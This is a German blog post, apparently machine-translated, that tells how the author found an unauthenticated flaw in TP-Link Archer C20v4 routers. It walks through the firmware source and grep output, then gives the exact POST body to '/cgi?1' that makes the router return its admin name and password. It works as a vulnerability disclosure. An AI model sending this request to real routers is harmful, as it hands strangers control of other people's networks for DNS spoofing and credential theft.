Das Hacken mit DNS-Spoofing ist eine ziemlich häufige Angriffsmethode. Vor allem wegen seiner Einfachheit. Der Kern des Angriffs besteht darin, die DNS-Adresse in den Netzwerkeinstellungen des Opfers in die Adresse des DNS-Servers des Angreifers zu ändern, um eine falsche IP-Adresse zurückzugeben. Und weiter, wen interessiert das schon - von den banalen Phishing-Seiten sozialer Netzwerke für den Diebstahl von Passwörtern bis zum vermeintlichen Provider-Stub mit Zahlungsanforderungen.
Das Interessanteste an all dem ist, wie Bots auf die eine oder andere Weise auf die Router gelangen. Und heute werde ich über eine dieser Methoden sprechen.
Was haben wir:
- Brandneuer Archer c20v4 Router, sofort einsatzbereit, mit der neuesten offiziellen Firmware.
- Externe IP-Adresse auf der WAN-Oberfläche und offener Webzugriff.
- Ein Passwort ist komplex genug, um sich keine Gedanken über seine Auswahl und einen begrenzten Kreis von Personen zu machen, die es kennen.
- Nach einem Tag: DNS-Spoofing und alle Anfragen werden auf einen Stub gewickelt.
Was Sie brauchen:
Hier erfahren Sie, wie Sie auf das Gerät zugreifen können.
Zunächst wurden bei einem Testpatienten alle bekannten alten Fehler getestet, die in Google gefunden wurden. Natürlich hat nichts funktioniert.
Auf dem Github (
tyk ) wurde ein Skript gefunden, mit dem Sie Befehle auf den Modellen C20i und C2 vom Stamm aus remote ausführen können. Ein bisschen nicht das, was wir brauchen, aber die richtige Richtung vorgeben.
Alle Funktionen hatten die gleiche "Shell" für Anforderungen - dies sind POST-Anforderungen für url
/ cgi? 2 (und 7), "
[setup_name # 0,0,0,0,0,0,0 # 0,0,0,0,0 , 0] "und ein spezieller
Referer .
Laden Sie die Quellcodes unserer Firmware von der offiziellen Website tp-link herunter und entpacken Sie sie. Weil Die Router-Linie ist die gleiche, dann sollte die Software zumindest ein wenig ähnlich sein, oder?
grepgrep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Bingo Der Name der Datei deutet darauf hin, dass es weiter sehr interessant sein wird. Wir finden im Code eine Zeile, in der wir das geschätzte "cgi? 2" gesehen haben. Unten ist die komplette Funktion:
doSetUsrName function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }
Diese Funktion ruft bei Ausführung einen anderen auf - getUsrName ().
Anmeldefunktion:
getUsrName function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }
Aber mach einfach nichts mit dem Login. Wir sind an einem Passwort interessiert. Wir wissen, dass die Anmeldung in der Variablen adminName im Objekt USER_CFG gespeichert ist. Eine Suche in der Quelle ergab folgende Ergebnisse: (Ich werde nur das gewünschte Ergebnis hinterlassen)
Grep-Ausgabe grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml
Öffnen Sie
Reduced_data_model.xml und finden Sie das folgende Codefragment darin:
XML <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg>
Hier haben wir die bereits bekannte Variable "AdminName" und daneben AdminPwd gespeichert. Klingt nach der Wahrheit.
Jetzt müssen wir nur noch die richtige POST-Anfrage bilden, auf die wir mit den erforderlichen Daten an den Router antworten müssen. Wir wenden uns wieder dem Skript vom Github zu und sehen, wie es dort gemacht wird:
Daten data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )
Analog bilden wir unsere Anfrage:
Daten "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"
IIIiii senden. In Wireshark sieht das Paket folgendermaßen aus:
Wir schauen uns die Antwort an:
Ein aufmerksamer Leser wird feststellen, dass die POST-Anfrage an "/ cgi? 1" gesendet wurde und nicht wie im Skript an "/ cgi? 2". Alles ist richtig. Wir müssen nur das Passwort herausfinden. Nachdem Sie die Daten zur Autorisierung erhalten haben, können Sie sich bereits auf eine einheitliche Schande einlassen.
Anmelden:
Und wir sind bereits berechtigt, alle Daten abzureißen, die wir nur in der Datei reduced_data_model.xml für wichtig halten:
Im Moment wurden die Quellcodes des C20v4-Routers von der Tp-Link-Website entfernt und stattdessen V5-Codes veröffentlicht. Leider gibt es noch keine offizielle Firmware.
Die gute Nachricht: Diese Sicherheitsanfälligkeit wird nur ausgenutzt, wenn der Webzugriff für alle zugänglich ist.
Die schlechte Nachricht: Jemandes Bots klopfen bereits mit den richtigen Anfragen an externe Adressen.
Neben dem
ArcherC20V4- Modell ist auch das
ArcherC2V5- Modell
von dieser Sicherheitsanfälligkeit
betroffen .